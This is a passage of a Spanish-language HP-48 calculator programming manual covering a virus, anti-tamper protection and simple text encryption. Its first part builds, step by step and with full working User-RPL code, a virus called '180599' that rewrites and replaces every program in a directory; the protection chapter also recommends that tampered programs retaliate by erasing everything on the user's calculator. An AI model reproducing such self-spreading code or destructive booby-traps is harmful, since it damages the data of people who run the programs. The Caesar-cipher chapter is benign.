3:2: { programa1 programa2 programa3

..... programa(n) }1: { <<código1>> <<código2>>

<<código3>>.....<<código n>> }

Ahora, lo que vamos a hacer, es un ciclo, el cual se repetirá un número "n" de veces, o sea, el número de programas que se infectará.

Como hacemos esto ??? Bueno, se supone que cada uno debe razonar el problema, y según su estilo resolver el problema en su cabeza, aplicando la programación y el lenguaje a la resolución del problema.... Bueno, supongo que así funciona el hábito de programar.....

Yo , lo primero que haría, sería obtener en la pila los elementos de la lista que está en el nivel 1: de la pila, o sea, la lista que contiene el código de los programas que se quiere infectar. Usando el comando OBJ-> nos quedan todos los elementos en la pila y en el nivel 1: nos queda el número de elementos que tenía la lista. Este es el famoso número n queutilizaremos para repetir el ciclo que irá infectando cada código.

o sea, el nuevo código será.

<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << @@@@ >> >>

Ahí esta nuestra nueva versión, aquí, se supone que luego deejecutar el comando OBJ-> tomamos el número de programas a infectar como variable local, que en este caso llamamos A. Luego, lo que pusimos como @@@@ es lo que deberemos reemplazar con el código que trabajará a los códigos de los programas, para ir infectándolos uno por uno.

Sigamos ampliando el código, ahora lo que haré será dejar todo listo para aplicar cómodamente el ciclo que se debería repetir n o

(n-1) veces todavía no estoy seguro, pero veamos..... Después de haber tomado el n como variable local voy a meter una lista vacía, en donde iremos ingresando cada código modificado, y la intercambiare de posición con el último código, o sea....

Ejemplo:

supongamos que hay 3 programasy estamos en el momento justo Después

de habertomado el numero de programas como

variable local.

4: { nombre1 nombre2 nombre3 }3: << código 1 >>2: << código 2 >>1: << código 3 >>

Ahora veamos como queda la pila luego de meter un lista vacía en el nivel 2 de la pila, o sea, intercambiándola de posición con el << código 3 >>

4: << código 1 >>3: << código 2 >>2: { }1: << código 3 >>

Para hacer eso necesitamos ampliar el código a :

<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << { } SWAP >> >>

Ahí tenemos nuestra lista vacía, entonces, el ciclo completo que necesitamos sería en seudo-código :

_transformar el código en string_duplicar ese string_obtener su largo_el largo es lo mismo que la ubicación de

la última letra o simbolo. En caso de ser un programa, que lo es... el último signo siempre es ">>" por lo que debemos reemplazarlo por

" 180599 DROP >>" _volver el string a programa.

_meterlo en la lista.

_hacer swap, y continua con el otro código

Lo haremos con una secuencia de repetición START NEXT

o sea :

<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << { } SWAP 1 A START

->STR @_transformar el código en string DUP @_duplicar

ese string SIZE @_obtener su

largo " 180599 DROP >>"

@_cambiar ">>" por "180599 >>" REPL OBJ-> @_volver el

string a programa. +

@_meterlo en la lista. SWAP

@_hacer swap, y continua con el

@_otro código NEXT >>

>>

Luego de esto, podemos comprobar, que debido al último SWAP antes de terminar cada repetición del bucle infectado, nos queda en el primer nivel de la pila la lista con los nombres de los programas, y en el 2do nivel los códigos infectados.

También debemos darnos cuenta de algo muy importante, esto es que al ir tomando cada código de la pila y luego de infectarlo meterlo en la pila se produce el efecto de que los códigos quedan "al revés", o sea, para nuestro ejemplo anterior, nos quedaría en la pila :

3:2: { <<código n>>.....<<código3iii>>

<<código2iii>> <<código1iii>> }1: { programa1 programa2 programa3

..... programa(n) }

Bueno, entonces ahora hacemos SWAP

para volver a trabajar con los códigos, y luego, REVLIST, para invertir el orden de los códigos, el cual fue invertido durante el ciclo infectador.

luego nos queda el virus :

<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << { } SWAP 1 A START

->STR DUP

SIZE " 180599 DROP >>" REPL OBJ-> + SWAP NEXT

SWAP REVLIST

>> >>

Bien, ahora tenemos todo listo para aplicar el querido STO, pero nos falta algo no ??? que aún no hemos borrado las variables programas para reemplazarlas por las infectadas..... Para esto, usamos la lista con los nombres, la duplicamos, y a esta duplicación le aplicamos PURGE, con lo que se van los viejos programas. Después, ponemos de nuevo en el 2: los nombres y en el 1: los códigos infectados, y aplicamos STO

O sea, esta primera versión funcional del virus sería:

<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << { } SWAP 1 A START

->STR DUP

SIZE " 180599 DROP >>" REPL OBJ-> + SWAP NEXT SWAP

REVLIST

SWAP DUP PURGE SWAP STO

>> >>

LISTO !!!!!

Hemos terminado la primera versión del virus "180599" y lo mejor es que funciona !.

Bueno, ahora depuremos nuestra obra,... me puedo dar cuenta que hay una parte que se puede optimizar, me refiero a esta parte:

SWAP REVLIST

SWAP DUP PURGE SWAP STO >> >>

Ese código se puede reducir a:

DUP PURGE SWAP REVLIST SWAP STO

Fíjate que solo reducimos el código en una instrucción, quizá lo encuentres tonto, pero esto es muy importantísimo en programas grandes.

o sea, el código final del virus "180599" sería:

<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << { } SWAP 1 A START

->STR DUP

SIZE " 180599 DROP >>" REPL

OBJ-> + SWAP NEXT @virus 180599 DUP @creado por

Sebastian Rivas. PURGE

@[email protected] SWAP

@www.geocities.com/xj35u5x REVLIST SWAP STO >> >>

Ahora, Después de haber programado un virus, me voy a acostar, pues son las 3.46 de la madrugada, saludos a todos quienes lean esto.

Nos vemos.......

Antes de irme os planteo un desafío, arreglar el programa, paraque no produzca ningún error en caso de que en el directorio actual no hayan programas user-rpl o haya solo 1.

FIN DEL CAPITULO 2 ---------------------------------------------------------------------

CAPITULO 3 "PROTEGER NUESTROS TRABAJOS DE LOS FALSOS HACKERS,

TAMBIEN LLAMADOS <<HACKERS DE PLÁSTICO>>"

Este es un tema muy importante a mi parecer, que todos los programadores de aplicaciones para la hp-48 deberían tener en cuenta. Empecemos por definir al hacker de plástico de la hp-48. Primero que nada, de hacker....nada. O sea, nos referimos al típico estúpido que Después de un año de intentos aprende a usar la librería HACK, que es una gran librería, y lo que hace este chicuelo pendejo, es cambiar algunos créditos, o por ejemplo, donde

va el nombre del programa, lo cambia por uno a su gusto. También puede ponerle que fue él quienlo desarrollo. Vamos a aprender algunas técnicas básicas anti-crack para nuestros programas. En todo caso, no estoy usando bien la palabra crack, ya que en ese caso, estoy ofendiendo a mis amigos los crackers, cuyos ideales, dicen que ellos modifican los programas con el único fin de mejorarlos y quitarles limitaciones y errores. Bueno, la verdad es que aquí no veremos a verdaderos crackers. LO que veremos como ya dije es a un mocoso armado con una librería rompe-librerías. Como por ejemplo, la querida librería HACK.

Enseñaré algunas técnicas básicas para que no puedan ser modificados los programas que escribáis.

Hace como 1 año, yo estaba en último año de preparatoria, entonces, por milagro, en mi curso habían como 8 hp-48, y yo estaba aprendiendo a programarla, y creando mis primeros programas matemáticos, pero había alguien en el curso que se dedicaba a crackear programas de manera estúpida, o sea, lo único que hacíaera reventar una librería, y cambiar los textos por otros inventados por él. Pongamos el ejemplo de un conocido programa llamado "XTRANSFER", el cual en realidad es una aplicación de otro programa, llamado "USEND", pero mucho más fácil de usar. Muy útil para los principiantes y usuarios comunes, ya que permitía de forma muy fácil traspasar información entre dos hp-48. Bueno, en donde decía "XTRANSFER", el cambio el texto por "SEND&GET", y también cambió otros textos del programa por cosas como "CARCURO 2000" y cosas por el estilo. Luego de eso, volvía a armar la librería, y la distribuía diciendo que él era lo máximo. Todos mis compañeros quedaban asombrados. Yo en realidad lo encontraba cómico. Total, lo que estaba jodiendo era un programa hecho por otra persona. Pero esa gracia paso completamente cuando sentí en mi propia carne el hecho de que te modifiquen un programa que has hecho tú. Que ha salido de lo profundo de tu alma de programador. En ese momento me di cuenta de que tenía que hacer algo. Este chico tenía en sus manos el poder para modificar programas USER a su gusto, y lo peor es que sin ningún tipo de

conocimientos de programación. Bueno, empecé a pensar, y a leerlas instrucciones de los comandos extraños de la hp-48.

Comencé a buscar un comando que me ayudara en mi tarea, y después de un tiempo de investigar, me encontré con algo que me podría ayudar.... El comando BYTES. Lo siguiente es la documentación oficial de hp-48 acerca del comando:

....DEVUELVE EL TAMAÑO(EN BYTES) Y LA COMPROBACIÓN DE UN OBJETO(X)...

Eso fue extraido de la página G-6 del manual de usuario. Verdad que no nos dice nada '?????? Bueno, empecé a probar el comando.... Resultaba que uno ponía un objeto de cualquier clase en la pila, y le entregaba dos números....

Por ejemplo, si ponía el número 4567 lo que pasaba era esto....

antes :

2:1: 4567

después :

3:2: # 51187d1: 10.5

Bueno, dejando de lado las definiciones formales, lo que me di cuenta Después de aplicarle el comando a muchos objetos, incluyendo programas, textos, números, listas, etc... fue que jamás se repetía el número del nivel 2: . O sea que cada objeto que uno hiciera, tenía su propio número en el nivel 2:. Bastaba con que fueran diferentes dos objetos para que automáticamente sus números del nivel 2: también lo fueran.

Esto me llevó al siguiente razonamiento..... ¿ Que pasaría si ? luego de haber programado nuestro programa, haberlo guardado en una variable, le aplicásemos el comando BYTES. De esta manera obtendríamos ese número único, el cual deberíamos usar para

modificar el programa, de manera que se haga un ciclo IF THEN ELSE en el cualese número se compare con el verdadero, y en este caso, CUALQUIER modificación al código haría que el programa no funcionase. Pero hay que tener en cuenta que al haber modificado el programa para introducirle el número secreto, se habrá cambiado este número nuevamente, por lo que será necesario volverle a aplicar el comando y de esta manera, se produciría un ciclo infinito en el cual nunca podríamos ponerle el número al programa. Es importante entender este razonamiento.... Para verlo más claro, tomemos en cuenta el siguiente código, el cual no hace nada, pero ilustraremos que no se puede insertar el número secreto ese.....

Por ejemplo , tengamos el código :

<< "HOLA" MSGBOX >>

Ahora, si le aplicamos BYTES a eso, supongamos que nos da como resultado el número # 28462d Entonces ahora tratemos de ingresarle este número al programa....

<< "HOLA" MSGBOX # 28462d >>

Hay lo tenemos, pero si nos damos cuenta, ahora ese número no nos sirve, ya que como lo modificamos su número secreto habrá cambiado....

*********************************************************************

Nota del autor : Me encuentro un poco ridículo diciendo "número secreto", así que de ahora en adelante diré "suma de verificación"*********************************************************************

Entonces, aplicándole nuevamente el comando BYTES nos dará otro valor distinto, y de nuevo, al modificar el programa para insertar esa nueva suma de verificación, esta habrá cambiado.... De esta manera sacamos una conclusión importante, un solo módulo de un programa no se puede defender a si mismo de esta manera.....

Pero sin embargo, usando un poco el cráneo, se nos podría ocurrir hacer algo inteligente para que un modulo se pudiera

defender a si mismo, esto, lo haremos utilizando una pequeña "inmersión".

O sea, meteremos el modulo dentro de otro, y este decidirá sise ejecuta el código o nó.

Por ejemplo, para nuestro pequeño programa anterior:

<< "HOLA" MSGBOX >>

Su suma de verificación era # 28462d

Entonces, consideré el siguiente código:

<< << "HOLA" MSGBOX >> DUP

BYTESDROPIF # 28462d ==THEN EVALELSE CLEAREND>>

Bien, vamos por partes, antes de decir los defectos o virtudes de esta manera de proteger el programa, vamos a analizarlo, para los que aún no hayan entendido la idea. Primero que nada, debemos tener en cuenta que la suma de verificación del programa

<< "HOLA" MSGBOX >> es # 28462d

Entonces, vamos por partes, primero, se pone el programa en la pila, luego se duplica. Después, mediante la duplicación que hicimos, aplicamos el comando BYTES, y obtenemos la suma de verificación del programa << "HOLA" MSGBOX >>. Pero ahí hay metido un comando DROP , por que ??? recordemos que el comando BYTES nos entrega DOS resultados, en el nivel 1 el tamaño, y en el dos la suma de verificación, entonces, como lo que a nosotros nos interesa es la suma de verificación, hacemos DROP, borrando de esta manera el tamaño de la pila, y quedándonos solo con la suma de verificación , que es lo que nos interesa. Después de eso, lo que hacemos es comparar el número obtenido con el que sabemos que es verdadero, o sea, el número # 28462d. Y dependiendo si son iguales, ejecutamos o no el código, mediante esa estructura IF THEN

ELSE

O sea, pongámonos en el caso de que un mocoso que se cree cracker, pero no sabe nada de programación, tiene en sus manos este programa hecho por nosotros,,, o mejor debería decir que lo tiene en su calculadora :-)

Ahora, supongamos que el mocoso cambia la palabra HOLA por la palabra CHAO, el código modificado por nuestro super cracker sería:

<< << "CHAO" MSGBOX >> DUP

BYTESDROPIF # 28462d ==THEN EVALELSE CLEAREND>>

Pero en este caso, se habrá modificado el contenido del programa que queremos ejecutar, y esto será detectado por la estructura IF THEN ELSE, la cual, debido a que la suma de verificación del programa será distinta a la que se le dio para comparar, decidirá no hacer nada ( CLEAR ) o mejor dicho, lo que hacees borrar la pila con el comando CLEAR.

Sería muy positivo si los ejemplos que voy dando en el manual los vayas probando al mismo tiempo. En caso de encontrar errores en algún código, o tu crees que se puede mejorar de alguna forma, mándamelo a [email protected] y yo lo publicaré en la página.

Ahora analizaremos los defectos de esta protección.

Bueno, debemos aclarar que este es una protección que debería funcionar, pero recordemos contra quien estamos luchando, nuestro enemigo en este momento es un cracker-de-plástico, el cual no tiene idea de programación. Debe quedar en claro para los que aún no saben esta regla universal de los crackers.... TODO PROGRAMA SE PUEDE CRACKEAR. Esto es una ley inquebrantable. Entonces, la protección de programas que

enseñamos aquí es en contra de gente con nulos conocimientos de programación, o muy pocos.

Por lo tanto, lo que quiero decir, es que un cracker de plástico, no tiene idea de lo que significa la palabra DROP por ejemplo, o BYTES, pero en cambio, si que puede modificar las cadenas de texto a su gusto, y esperar que el programa corra como si nada, con las modificaciones que él hizo. Entonces, es de esto que nos estamos protegiendo, que el modificar un programa en cualquier forma, luego este no se pueda ejecutar correctamente.

Y como estamos en esto, les hablaré un poco sobre mis ideas. La mayoría de la gente solo dispone de 1 hp-48, y en este hecho se basa lo que estoy a punto de deciros. Por ejemplo, en el programa anterior, si el atacante modificaba el programa, este simplemente no corría. Pero esto le da mucho tiempo al atacante para probar otras cosas. Pues bien, yo creo que lo mejor es que en caso de que se trate de modificar el código de nuestro programa, el efecto no debe ser algo tan suave como "no hacer nada", en mi caso personal, el efecto de defensa que produzco al tratar de modificar mis programas, es simplemente hacerle daño al atacante, por ejemplo, borrando todo lo que hay en la calculadora.

Por supuesto que cada uno hace lo que quiere con los atacantes, yo solo cumplo con decirles lo que YO haría. Además, sería como un castigo al atacante, y por otro lado, automáticamente, le quita la posibilidad inmediata de seguir tratando de hacer cosas con nuestro programa, ya que antes deberá conseguirlo y todo eso.

Bueno, sigamos la discusión de los defectos de la protección que dimos recién. Su código era:

<< << "CHAO" MSGBOX >> DUP

BYTESDROPIF # 28462d ==THEN EVALELSE CLEAREND>>

El primer gran error que pienso tiene esta protección es que realmente es poco probable, pero a un atacante con paciencia, de repente podría ocurrírsele borrar parte del programa, y ver si funciona... por ejemplo, si el atacante, luego de varios intentos fallidos, borrara parte del programa, y este quedará solo así :

<< "CHAO" MSGBOX >>

Entonces estamos fritos, ha destruido toda la protección, y encima tiene un programa mas liviano. Y peor que todo esto, es que cuando se encuentre con algo similar, ya sabrá que hacer para destruir la protección. Por eso, si se ha de usar algo como esto, o sea, que un programa se defienda a si mismo, es mejor que los efectos para el atacante al primer intento, sea algo que no le deje ganas de volver a jugar al cracker.

Bien, ahora, esto que discutimos no es tan peligroso en programas grandes. Es más peligroso en programas pequeños.

Otro defecto de este tipo de protección, es que antes de ejecutar el programa, se debe poner este en la pila, lo que en programas grandes, produce penalizaciones en la velocidad de iniciodel programa.

Otra cosa a tener muy en cuenta a la hora de hacer protecciones, es jamás incluir cadenas de texto en los efectos de la defensa. Considere el siguiente ejemplo, en el cual cambiaremos los efectos de nuestra anterior protección.....

<< << "CHAO" MSGBOX >> DUP

BYTESDROPIF # 28462d ==THEN EVALELSE CLEAR "ERES UN

MALDITO" MSGBOXEND>>

En este caso, como supongo la mayoría de ustedes se habrá dado cuenta, lo que se hace

en caso de que el atacante modifique el código es borrar lo que hay en la pila con el comando CLEAR, y enviarle el mensaje a la pantalla ... "ERES UN MALDITO" MSGBOX.

El hecho de poner textos en las protecciones yo considero que es un grave error, ya que, luego de que el atacante vea el efecto, podría ir al código, y buscar en este la frase que le mandamos. De esta manera, podría llegar fácilmente a destruir la protección. Lo mejor es hacer que los efectos en el código sea solo eso, código, entonces, un inexperto no entenderá nada de lo que pasa.

Ahora, entendamos otra forma de proteger nuestras creaciones de los crackers-de-plástico.

Y antes, me gustaría, por si anda algún cracker verdadero leyendo esto, decirle que mi intención con la frase cracker-de-plástico es ofender a los lamers que andan por ahí. Yo tengo amigos crackers( y no solo de hp :-), y los respeto mucho a ellos y a sus ideales.

Bien, continuemos con la nueva forma de protección, a la cual llamaremos "hermandad", la cual sirve solo en programas que consten de varios módulos. La idea se trata de que un modulo protege a otro que no es él. Por esto bauticé la protección con el nombre "hermandad". Lo bueno de esto es que ya no se necesita inmersión, a menos de que se trate de un programa que esta incluido en una librería, en cuyo caso se necesita inmersión, pero veremos más adelante que esta forma que doy a conocer tampoco es tan buena como la que viene a continuación.

Ejemplo:

Como ejemplo, tomaremos el programa que desarrollamos al comienzo, o sea, el que simula en la pantalla un punto rebotando por todos lados.

<< GROB 1 1 10 WQ STO GROB 1 1 00 WQ2 STO << { KK2 } RCL BYTES IF # B767h ==

THEN{ XJ32 PPAR KK1 KK2 WQ WQ2 }

PURGE (0.5,0.5) XJ32 STO

ERASE PICT RCL (0,0) WQ GOR { 1 { #0h #0h } 0 1 }

ANIMATE (0,0) KK2 >> KK1 STO ELSE VARS PURGE END

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ ENDIF 'B<-2.8' THEN { XJ32 } (0,1)

STO+ ENDT XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

Bueno, en realidad, aquí sí tenemos inmersión, o sea, el programa en realidad, crea dos programas, y les pone nombre, luego los ejecuta, y Después de terminado el programa, los borra, quedando solo el programa padre.

Pero aquí el código lo desarmaremos y pensaremos en un programa que consta de dos módulos.... o sea :

A este le llamamos KK1 :

<< { KK2 } RCL BYTES IF # B767h == THEN

{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO

ERASE PICT RCL (0,0) WQ GOR { 1 { #0h #0h } 0 1 }

ANIMATE (0,0) KK2 +ELSE CLEAR END >>

Y a este otro le llamamos KK2:

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ ENDIF 'B<-2.8' THEN { XJ32 } (0,1)

STO+ ENDT XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>>

Antes que nada, vemos que KK1 se modificó. En la última línea, introduje el código ELSE CLEAR END

Esto es para completar el ciclo IF THEN ELSE

Entonces tenemos un programa que consta de dos módulos independientes, cada uno de los cuales cumple una función específica, las cuales ya estan muy comentadas en el primer capitulo de esta tercera parte de mi manual.

Lo que importa es que aquí tenemos una hermandad. Primero que nada, debemos recordar que el módulo encargado de comenzar el programa es KK1. En caso de que se ejecutase primero KK2 daría error puesto que este necesita algúnos parámetros que le proporciona KK1.

Y si nos damos cuenta, en el módulo KK2 no hay ninguna referencia a KK1, por lo que concluimos que el programa KK1 lo único que hace es comenzar la ejecución y preparar las cosas para que KK2 funcione bien.

Pero lo importante de este programa es la hermandad. En este caso la hermandad se la proporciona KK1 a KK2, ya que en KK1, antes de comenzar la ejecución del programa propiamente tal, o sea, lo de la pelotita, se le pide la suma de verificación a KK2 y se compara con la que se le ha sido proporcionada. Entonces, en caso de que KK2 haya sido modificado lo que se producirá será simplemente que se borrará la pila.

Lo bueno de esta táctica es que para el hacker tonto es más difícil detectar donde esta la comprobación, sobre todo en programas grandes, y lo mejor es que no se enlentece el

programa en forma desmedida con esta técnica.

Ahora veamos la tercera forma que enseñaré de proteger los programas que desarrollemos. Hay que tener en cuenta que esta forma es la mejor según yo, y también que es mejor aplicarla en grandes programas.

Se trata de proteger No el código de los programas, sino solamente las cadenas de texto.

O sea, las cadenas se guardan como tales en módulos aparte, y luego, cuando se ejecuta el programa, se llama a las cadenas de texto, para comprobar si cumple con los "requisitos", y luego se usan para armar el programa y ejecutarlo en forma correcta.

A esta forma le llamaremos "comprobación de objetos"

Así mismo, debemos considerar que a veces, en programas grandes, es bueno incluir gráficos, como dibujos, o créditos de lujo, animaciones etc...

Con respecto a esto, debemos decir que lo que vamos a hacer con las cadenas, también podemos hacerlo con gráficos (grobs).

Por ejemplo, consideremos un pequeño programa, que lo que haga sea decir el nombre del dueño de la calculadora....

<< OFF "ESTA CALCULADORA PERTENECE A SEBASTIAN RIVAS" MSGBOX >>

Ese programa sería útil para apagar la calculadora, ya que Después cuando la prendieramos, aparecería el mensaje del nombre del dueño, en el cual podría especificar la dirección de correo electrónico, la direccióno el teléfono etc etc...

Pero lo que el cracker-peo haría con nuestra gran creación ...

<< OFF "ESTA CALCULADORA PERTENECE A JUAN JORGE" MSGBOX >>

Y todo se ha podrido....

Entonces, mejor hacemos un programa

que conste de dos módulos, uno de los cuales no haga nada, y no sea un programa, sino una simple variable que contiene la cadena que se quiere mostrar.....

Modulo : CHAO

<< CADENA BYTES DROP IF # 36267d == THEN CADENA OFF MSGBOX ELSE CLEAR >>

Módulo : CADENA

"ESTA CALCULADORA PERTENECE A SEBASTIAN RIVAS"

Si nos damos cuenta, el módulo CADENA no es un programa, sino una simple cadena de texto.

Ahora sería mucho más difícil para el cracker-poto crackear nuestro programa, o sea, para nosotros es una estupidez, pero un ignorante se haría todo un problema....

Y todos estos métodos, usados en conjunto, en programas metidos en librerías, brindan una gran seguridad.

También hablaremos sobre un pequeño y poderoso programa que anda por ahí, llamado TOCODE y escrito en otro lenguaje, no estoy seguro si es system o assembler. Este nos permite encriptar nuestras creaciones de manera fácil y rápida. Simplemente transforma cualquier texto, dibujo, PROGRAMA, en una simple palabra bajo la cual se esconde el objeto, y mediante la cual se esconde el código, y solo con la hp48 vacía es imposible ver el objeto original. La palabra es Code.

O sea, supongamos que tenemos un programa en la pila de esta forma :

2:1: << programa >>

Al aplicar el TOCODE nos queda :

2:1: Code

Simplemente eso, y al evaluar eso, mediante EVAL, o solo guardándolo en una variable como lo haríamos con cualquier otro programa, podemos ejecutarlo como si fuera cualquier otro programa, y sin posibilidad para un principiante de reventar este "Code".

El programa TOCODE lo pueden bajar de mi página en Internet,

http://www.geocities.com/xj35u5x

De ahí van a hp-48 y a la sección HERRAMIENTAS DEL PROGRAMADOR.

Bueno, con eso damos fin a este tercer capítulo. Ahora solo depende de ti si tus programas que hagas sean o no reventados y crackeados.

Lo importante de todo esto, es que las técnicas que nombré aquí no fueron sacadas de ningún manual, ni copiadas de otro lenguaje, simplemente fueron una "idea" mia. De esta misma forma, tu debes pensar y desarrollar tus programas conociendo el lenguaje y aplicando tus propias ideas.... Así irás conformando tu estilo.

FIN DEL CAPITULO 3---------------------------------------------------------------------

CAPITULO 4 "ENCRIPCION DE TEXTOS EN LA HP-48"

Partamos este interesante capítulo con una pregunta....¿ Que es la Encripción ?

La Encripción para mi, es el arte, el conjunto de ciencias para ocultar a los ojos de cualquiera una información que se considera confidencial.

O sea, se trata de aplicarle un programa a una cadena de texto, y obtener otra, de la cual no podrá ser extraída la información original, a menos que se "sepa" algo, como por ejemplo una

clave.

Primero veamos un programa que modifique un texto:

<< DUP SIZE 1 SWAP FOR A DUP A DUP SUB NUM 1 + CHR A SWAP REPL NEXT >>

Pruebe este programa con una cadena.

Como se puede dar cuenta, lo que hace es modificar cada caracter de una cadena de texto, esto lo logra de la siguiente forma..... Primero, saca el caracter de la cadena, obtiene su número de caracter ascii, luego a este número le suma 1. Después, con este nuevo número se saca otro caracter, el cual se reemplaza en la cadena por el original. Todo esto, como se puede apreciar, mediante un ciclo FOR NEXT.

Entonces, lo que hicimos con este modesto código fue encriptar una cadena, bueno, una encripción bastante humilde, pero digna para empezar.... Cambiemos el número que se suma por 10 :

<< DUP SIZE 1 SWAP FOR A DUP A DUP SUB NUM 10 + CHR A SWAP REPL NEXT >>

Ahí esta un poquito más decente.

*******************************************************************

Nota del Autor : Este capítulo tiene por objeto, además de simplemente aprender algo nuevo sobre programación en la hp-48 introducirlo en el apasionante mundo de la CRIPTOGRAFIA, es por esto que iremos discutiendo cada método de encripción, y algunas formas de reventar los criptogramas(lograr descifrar el mensaje encriptado).*******************************************************************

Pero esto no nos sirve mucho sólo, ya que necesitamos otro programa, el cual nos desencripte el texto encriptado. ¿ Se les ocurre como sería el desencriptador de este humilde encriptador ?

Supongo que si..... :-)

<< DUP SIZE 1 SWAP FOR A DUP A DUP SUB NUM 10 - CHR A SWAP REPL NEXT >>

Simplemente, hacemos la operación inversa, o sea, al caracter en vez de sumársele 10, se le resta.

Tome en cuenta, que dados estos dos programas usted no está en condiciones de decir cual es el encriptador, y cual es el desencriptador, ya que cualquier texto que se encripte con uno, se puede desencriptar con el otro.

El último párrafo es cierto?

No.

Además de solo programar la hp-48 debemos conocer sus propiedades. O sea, debemos saber que a cualquier texto le podemos sumar un número y obtener otro, y luego realizar la operación inversa, en cambio si le restamos demasiado, nos darán caracteres negativos, los cuales, la hp-48 los interpreta todos como el caracter nulo, o sea, el de numeración 0.

De esta manera, es mucho más fácil con la suma como encriptador y la resta como desencriptador.

Ahora, digamos que haríamos en caso de que supiéramos que este es el método que usa un encriptador, pero no tenemos forma de saber cual es el número que se le suma, para lograr reventar el criptograma.....

Se les ocurre ???

Bueno, es algo bastante tonto todavía, pero es bueno ir razonando estas cosas....

Se supone que tenemos acceso al encriptador/desencriptador, y también tenemos el texto que no sabemos como poder leer, ya que fue encriptado....

Antes de decir como lo haríamos, tomen en cuenta un reto que les hago, yo encriptaré una

pequeña frase en mi hp-48, usando una clave secreta, y lo pondré aquí... Entonces, si logras desencriptar la frase, te sentirás MUY bien, pues lo habrás logrado sin que yo te dijera como... Y hay varias formas de hacerlo.....

EL RETO ESTA HECHO....

El criptograma a desencriptar es:

"JYPW[VNYHMPH'LU'SH'OW;?"

Quien lo logre solo, va por el buen camino.

Ahora, digamos una de las fáciles formas para romper nuestro querido primer encriptador...

Lo que yo haría para reventar el criptograma que nos dan, sería, primero, tomar el caracter "A", del cual se que su códigoascii es el 65. Luego, mediante el encriptador, encripto la cadena que contiene solo la "A" o sea, la cadena sería

"A"

Luego de encriptarla, voy a recibír otro caracter, del cual debo sacar su código ascii mediante el comando NUM. Este número asciilo disminuyo en 65, que es el código de la "A", y obtengo el número secreto.

Facil eh..!!!

Referencia :

Aquí daré algúnos número ascii de algunos caracteres importantes:

"A" -> 65"Z" -> 90"a" -> 97"z" -> 122"0" -> 48"1" -> 49"9" -> 57" " -> 32 (espacio en blanco)

La lista completa de los 255 caracteres

ascii de la hp-48 y sus correspondientes números los puede ver en su propia calculadora, en la aplicación que trae incluida, llamada CHARS.

Bueno, de esto, vemos que el caracter más alto de los que normalmente conforman un texto es la "z", la cual tiene el valor 122. Teniendo ahora en cuenta que el número de caracteres es 255, el valor máximo que deberíamos sumar a nuestros caracteres sería (255-122)=133. Pero teniendo en cuenta que algunos pocos caracteres mayores que el 122 también se utilizan, lo mejor sería dejar el numero a un máximo de 50. Con la seguridad de siempre poder volver a desencriptar.

******************************************************************

Nota del autor : Se recomienda revisar las partes 1 y 2 del manual, en donde se habló un poco sobre programas que modifican textos. ******************************************************************

Bien, pero hasta ahora, no hemos hecho nada práctico, ya que si un tipo viera nuestro texto encriptado, lo único que tendría que hacer para desencriptarlo sería usar el desencriptador. Entonces, vamos a hacer un verdadero humilde encriptador, el cual dependerá de una clave para poder desencriptar el texto. Esta clave será un número entre 1 y 50 el cual se introducirá al ejecutar el programa, o sea, el programa le pedirá una clave antes de encriptar el texto, clave con la cual será posibre, mediante el desencriptador, poder desencriptar el criptograma.

******************************************************************

Nota del autor : Criptograma = Texto Después

de ser encriptado.******************************************************************

Ahora haremos nuestro primer encriptador....

<< "ENCRIPTADOR 1.0" MSGBOX "INTRODUZCA EL NUMERO CLAVE (1-

50)" "" INPUT OBJ-> -> clave << DUP SIZE 1 SWAP

FOR A DUP A DUP SUB NUM clave + CHR A SWAP REPL NEXT >> >>

Y su correspondiente desencriptador......

<< "DESENCRIPTADOR 1.0" MSGBOX "INTRODUZCA EL NUMERO CLAVE (1-

50)" "" INPUT OBJ-> -> clave << DUP SIZE 1 SWAP

FOR A DUP A DUP SUB NUM clave - CHR A SWAP REPL NEXT >> >>

Espero que se haya entendido.

Lo que hacemos es pedir una clave, de esta manera, es usando esa clave que encriptamos el texto. Que bien ahhh, ??? ahora nadie podrá conocer nuestros textos secretos... !!!, Antes de quedar baboseando frente a algo tan simple, dime, ¿ acaso esta cosa es invencible???, por SUPUESTO QUE NO, de hecho, este algoritmo de encriptación fácil de reventar.

No se qué hacer ahora, se supone que debo decirles algúna forma de quebrar el encriptador, pero por otro lado, se los estoy poniendo muy fácil,......mmmmmmmmm...... a ver,..... bueno, lo daré, pero traten de razonarlo un rato antes, piensen que podrían hacer para reventar un criptograma....

Otro reto : reviente el criptograma siguiente....

"YR$TSGS$QEW$HMJMGMP"

Bueno, veamos una forma simple de romper el algoritmo de encriptación que usamos ahora.... Lo que se me ocurre de inmediato, es guardar el criptograma en una variable para trabajar varias veces con él. Y luego usar el desencriptador,... Pero se supone que no conocemos la clave !!!!!, como lo desencriptaremos !!!!!!! ??????¿?¿?¿?¿?¿?¿? haga trabajar ese cerebro !!!!!, hay solo 50 números que pueden ser la clave, simplemente voy provando con cada número del 1 al 50. :-))))))

Y en caso de que este número fuera mayor, ya sabemos que el tope para que no hayan problemas es 130. De otra manera, el encriptador no serviría, ya que los textos no se podrían desencriptar, ya que uno se pasaría del número 255, el cual es elúltimo caracter ascii, y por ejemplo, si un caracter se transformara en el caracter 350, este número rebasa por 95 al 255. La calculadora lo que hace en estos casos, es darle al nuevo caracter el valor 95.

